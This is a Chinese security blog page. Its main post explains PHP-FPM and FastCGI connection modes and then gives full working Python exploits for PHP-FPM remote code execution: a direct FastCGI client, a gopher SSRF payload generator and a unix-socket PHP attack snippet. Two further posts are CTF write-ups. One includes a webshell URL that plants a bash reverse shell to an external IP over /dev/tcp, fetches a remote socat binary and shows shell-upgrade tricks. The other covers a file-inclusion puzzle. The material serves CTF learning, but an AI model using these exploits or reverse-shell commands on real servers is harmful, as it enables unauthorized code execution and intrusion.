安全研究

前言

看了zsx师傅的*CTF echohub WP,发现自己对这一块特别不熟,再此记录一下

PHP的连接方式

apche2-module

把php当做apache的一个模块,实际上php就相当于apache中的一个dll或一个so文件,phpstudy的非nts模式就是默认以module方式连接的
图片.png

CGI模式

此时php是一个独立的进程比如php-cgi.exe,web服务器也是一个独立的进程比如apache.exe,然后当Web服务器监听到HTTP请求时,会去调用php-cgi进程,他们之间通过cgi协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给cgi进程,cgi进程拿到内容就会去解析对应php文件,得到的返回结果在返回给web服务器,最后web服务器返回到客户端,但随着网络技术的发展,CGI方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。

FastCGI模式

fastcgi本身还是一个协议,在cgi协议上进行了一些优化,众所周知,CGI进程的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中 并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over特性等等。

简而言之,CGI模式是apache2接收到请求去调用CGI程序,而fastcgi模式是fastcgi进程自己管理自己的cgi进程,而不再是apache去主动调用php-cgi,而fastcgi进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了cgi的高效性,并且CGI此时是常驻在内存中,不会每次请求重新启动

PHP-FPM

这个大家肯定都不陌生,在linux下装php环境的时候,经常会用到php-fpm,那php-fpm是什么
上面提到,fastcgi本身是一个协议,那么就需要有一个程序去实现这个协议,php-fpm就是实现和管理fastcgi协议的进程,fastcgi模式的内存管理等功能,都是由php-fpm进程所实现的
下面引用p师傅的博客文章


Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php


本质上fastcgi模式也只是对cgi模式做了一个封装,本质上只是从原来web服务器去调用cgi程序变成了web服务器通知php-fpm进程并由php-fpm进程去调用php-cgi程序

判断连接模式

就拿*CTF来说,如何判断一个php的连接模式?在接触不到服务器文件的情况下,我们可以通过phpinfo来判断
图片.png
图片.png

图片.png
phpinfo的第三行代表了PHP的连接模式,第一张图的Apache 2.0 Handler代表了这个php使用了apache-module模式,第二张图的CGI/FastCGI代表了用CGI模式进行通信,第三张图的FPM代表了php-fpm进程的fastcgi模式

一般来说,apache服务器常用module方式起php,nginx服务器常用fastcgi模式起php,所以接下来我已nginx为例

php-fpm的模式

是不是很绕,php-fpm下还可以继续分,如果使用fastcgi模式,nginx与php-fpm通信可以通过两种模式,一种是TCP模式,一种是unix 套接字(socket)模式

TCP模式

TCP模式即是php-fpm进程会监听本机上的一个端口(默认9000),然后nginx会把客户端数据通过fastcgi协议传给9000端口,php-fpm拿到数据后会调用cgi进程解析
nginx的配置文件像这个样子

/etc/nginx/sites-available/default

location ~ \.php$ {
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      include fastcgi_params;
 }

php-fpm的配置文件像这个样子
/etc/php/7.3/fpm/pool.d/www.conf

listen=127.0.0.1:9000

Unix Socket

unix socket其实严格意义上应该叫unix domain
socket,它是unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
具体原理这里就不讲了,但是此通信方式的性能会优于TCP
/etc/nginx/sites-available/default

location~\.php${
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass unix:/run/php/php7.3-fpm.sock;
      fastcgi_index index.php;
      include fastcgi_params;
}

/etc/php/7.3/fpm/pool.d/www.conf

listen = /run/php/php7.3-fpm.sock

php-fpm未授权漏洞

既然nginx通过fastcgi协议与php-fpm通信。那么理论上,我们可以伪造fastcgi协议包,欺骗php-fpm进程,从而执行任意代码
这里有个bug的地方是,除disable_function以外的大部分php配置,都可以在协议包里面更改,包括php手册规定的
php.ini配置选项列
fastcgi协议中只可以传输配置信息及需要被执行的文件名及客户端传进来的get,post,cookie等数据。看上去我们即使能传输任意协议包也不能任意代码执行,但是我们可以通过更改配置信息来执行任意代码

auto_prepend_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件,并且auto_prepend_file可以使用php伪协议
我们先把配置auto_prepend_file修改为php://input

php://input

php://input是客户端所有的POST数据
因为fastcgi协议中可以控制数据段POST数据所以这样就可以包含post传进来的数据,但是php://input需要开启allow_url_include,官方手册虽然这个配置规定只能在php.ini中修改,但是bug的是,fastcgi协议的PHP_ADMIN_VALUE选项可以修改几乎所有的配置,所以通过PHP_ADMIN_VALUE把allow_url_include修改为True,这样就可以通过fastcgi协议任意代码执行

文件名

但是还需要注意的是,我们需要知道一个服务端已知的php文件,因为php-fpm拿到fastcgi数据包后,先回去判断客户端请求的文件是否存在(即fastcgi数据包中的文件名),如果不存在就不会执行,并且由于security.limit_extensions这个配置,文件名必须是php后缀。如果服务端解析php,直接猜绝对路径用/var/www/html/index.php就行了,但是如果不知道Web的绝对路径或者web目录下没有php文件,就可以指定一些php默认安装就存在的php文件
可以使用find / -name *.php查找自己服务器上有哪些php后缀的文件

图片.png
比如/usr/local/lib/php/PEAR.php或/usr/share/php/PEAR.php
接下来就可以用别人的脚本啦!

脚本(来源于p师傅)

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
print(force_text(response))

用法python exp.py -c phpcode -p port host filename

比如 python exp.py -c "<?php echo shell_exec('ifconfig');?>" 127.0.0.1 /var/www/html/test.php
post默认为9000端口,这样就可以攻击未授权任意代码执行啦!

SSRF+Gopher

除了攻击未授权,现在大部分php-fpm应用都是绑定在127.0.0.1,所以我们当然可以通过SSRF来攻击php-fpm,我改了一下p师傅的脚本,暂时只能用python2跑

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

用法跟上面的一样,只不过会直接返回给你gopher的exp,如果是php页面存在ssrf漏洞记得生成exp还要在Url编一次码,因为exp进入web服务器会解一次码,php在请求一次又会解一次码。而我的脚本只编了一次码
图片.png
图片.png
当然也可以使用(Gopherus)[[https://github.com/tarunkant/Gopherus]](https://github.com/tarunkant/Gopherus)
这个工具也是特别好用,并且支持生成gopher打多种服务的exp,当然这里主讲php-fpm,不知道的可以去了解

攻击套接字

上面讲的都是php-fpm通过TCP方式与nginx连接,那如果php-fpm通过unix套接字与nginx连接该怎么办
接下来请欣赏php的魔法

<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>
//来自https://xz.aliyun.com/t/5006#toc-3 
//ROIS的*CTF WP

默认套接字的位置在/run/php/php7.3-fpm.sock(7.3是php版本号)

当然,如果不在的话可以通过默认/etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径 或者 TCP模式的端口号
当然,如果采用套接字的方式连接,我们暂时不能使用ssrf来攻击php-fpm,只能通过linux的数据流来进行数据传递,相对于tcp还是比较安全的
exp的话,把上面那个exp的最后三行改下就行了,如果是base64数据传输换成base64encode,如果直接传的话把gopher的字符串去掉

*CTF echohub

从echohub这道题来说,题目环境装了apache服务器和apache-module模式的php模块,并且题目环境就是以apache-module运行的php,但是环境也安装了php-fpm,并且最后还启动了所有的服务
什么意思,就是我题目环境除了apache-module的php,还要装一个php-fpm,相当于服务器有两个php环境,apache使用的是module的php,另一个php-fpm虽然开启但是是一个无用的进程没有web服务器与他通信
题目的web环境也就是apache-module的php的disable_function限制的特别死无法执行系统命令,于是呢就可以通过攻击另一个php环境来执行系统命令(不同的php环境使用不一样的配置文件)
这道题exp就是上面攻击套接字那个,通过攻击另一个没啥限制的php-fpm来执行系统命令

默认安装的php-fpm如果不做改动的话,都是默认以套接字方式进行通信(php7以上都是)

ubuntu安装php

如何安装php可能可以帮助深入理解一下这个过程

如何安装apache-module

apt update
apt install -y apache2
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y libapache2-mod-php7.3      #这个就是apache的内置php模块
service apache2 start                                            #因为php内置在apache,所以只需要启一个服务

图片.png

安装nginx + fastcgi

apt update
apt install -y nginx
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y php7.3-fpm
apt install vim

然后vim /etc/nginx/sites-enabled/default
图片.png
把56开始注释掉,然后选择你想要的连接模式,注释60行或者62行,socket的话记得更改后面php7.0为对应版本号

vim /etc/php/7.3/fpm/pool.d/www.conf
图片.png
如果需要TCP模式,把listen = /run/php/php7.3-fpm.sock 替换为 listen = 127.0.0.1:9000
然后

/etc/init.d/php7.3-fpm start        #php-fpm是一个独立的进程,需要单独启动
service nginx start

完成!
图片.png

- Read More -
CTF

前言

其实这道题不难,但是坑比较多在此,所以还是记录一下

第一步

首先题目环境给了一个sql的管理平台(MyWebSql),类似于phpmyadmin,弱口令探测发现admin,admin。首先
show variables like "%secure%"

图片.png
很明显发现并没有任意目录写文件的权利,然后由于我们不是root用户不能开启日志,通过日志文件写文件的方法也走不通。这个时候只能想到这种数据库管理应用自带的功能下手,查阅资料发现一篇
https://github.com/eddietcc/CVEnotes/tree/master/MyWebSQL/RCE
提到了Mywebsql后台提供了一个数据库备份的功能,备份目录在web目录下,且文件名可控,只要我们新建一个数据表,内容填写一句话木马内容,即可获取一个webshell
图片.png
图片.png
由于我用的是system的webshell,不是很方便,于是我想通过bash反弹到我的公网vps上,但是直接输入?cmd=bash的反弹shell不得行,于是我绕了个弯

http://34.92.36.201:10080/backups/evoa1.php?cmd=echo%20%27bash%20-i%20%3E%26%20%2fdev%2ftcp%2f47.106.65.216%2f1002%200%3E%261%27%20%3E%20%2fvar%2fwww%2fhtml%2fbackups%2fevoa.sh
http://34.92.36.201:10080/backups/evoa1.php?cmd=bash /var/www/html/backups/evoa.sh

图片.png
这里查看更目录发现两个文件,一个/flag 一个/readflag
/flag我们没有权限去读,/readflag需要回答一个运算式,是一个交互式应用,回答时间很短但回答正确就会输出flag

这里有个小技巧,我们bash反弹过来的shell不是交互式的,所以不能直接运行交互式应用
图片.png
这个时候可以用python的

python -c 'import pty; pty.spawn("/bin/bash")'

直接把shell变成一个半交互式的shell,就可以调用一些交互式程序,比如su
但是目标环境把python删了,于是可以用另一个方法

script /dev/null

这个也可以升级成交互式shell,/dev/null代表把日志输出到空,否者会留下文件
图片.png
回答给的时间特别短,于是我们把/readflag移到本地让bin选手去逆向分析了
分析出来就是如果输入的等于问题的答案就给你flag,但是时间很都短,必须写脚本算


一开始我觉得这有点像pwn题,于是准备上传一个socat把这个应用绑定到端口让pwn选手用pwntools来做
但是目标没有curl,没有wget,于是我只能用php来下载文件

php -r "file_put_contents('/tmp/socat',file_get_contents('http://xx.xxx.xxx.xxx/socat'));"

结果上传成功以后发现目标机是docker,端口无法弹到公网,这条路失败。于是只能把脚本上传到目标机,让目标机运行脚本获取flag
由于目标机没有python,有perl环境但是不会写,于是只能通过php来调用交互式程序来做题
从来没有用php掉交互式程序,还是查询资料
https://www.php.net/manual/zh/function.proc-open.php
通过proc_open调用交互式程序,并且通过读写输入输出流来进行交互,这里有个坑就是第一次调用输出流不能使用stream_get_contents,否者第二次输出输出流就会为空读不到flag,不知道为什么,这里贴一下我的exp(pwn师傅调的)

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes 现在看起来是这样的:
    // 0 => 可以向子进程标准输入写入的句柄
    // 1 => 可以从子进程标准输出读取的句柄
    // 错误输出将被追加到文件 /tmp/error-output.txt

    //fwrite($pipes[0], '');
    //fclose($pipes[0]);

        $output1 = fread($pipes[1],1024);
        var_dump($output);
        $output2 = fread($pipes[1],1024);
        var_dump($output);
        $output3 = fread($pipes[1],1024);
        var_dump($output);
    
    $calc = trim($output2);
    $an = eval("return $calc;");
    var_dump($an);
    fwrite($pipes[0], (string)$an."\n");

    $output = stream_get_contents($pipes[1]);
    var_dump($output);


    // 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

vps上的文件注意后缀,如果有php环境并且后缀为php这里得到的就是解析后的数据,文件内容为空。

图片.png

- Read More -
CTF

Web

滴~

这是一道脑洞题。。。
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
后面的字符串,可以两次base64解码,一次url解码
图片.png
应该是文件包含,写了个转换的小脚本

import binascii
import base64
filename = input().encode(encoding='utf-8')

hexstr = binascii.b2a_hex(filename)

base1 = base64.b64encode(hexstr)

base2 = base64.b64encode(base1)

print(base2.decode())

一开始我读的是php://filter/read=convert.base64-encode/resource=index.php,但是没有任何返回,于是我直接读了index.php,发现图片data的协议存在数据,复制图片链接base64解码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

这道题是有一个原题的,https://www.jianshu.com/p/6a64e8767f8f
从原题可以知道这里是绕不过代码层面的,但是原题读取的是.idea文件夹,本题没有,然后这就是这道题最脑洞的地方,上面得CSDN的博客url是有作用的,并且第四行的日期和博文发布的时间不是对应的,需要去作者文章下这个日期的文章https://blog.csdn.net/FengBanLiuYun/article/details/80913909
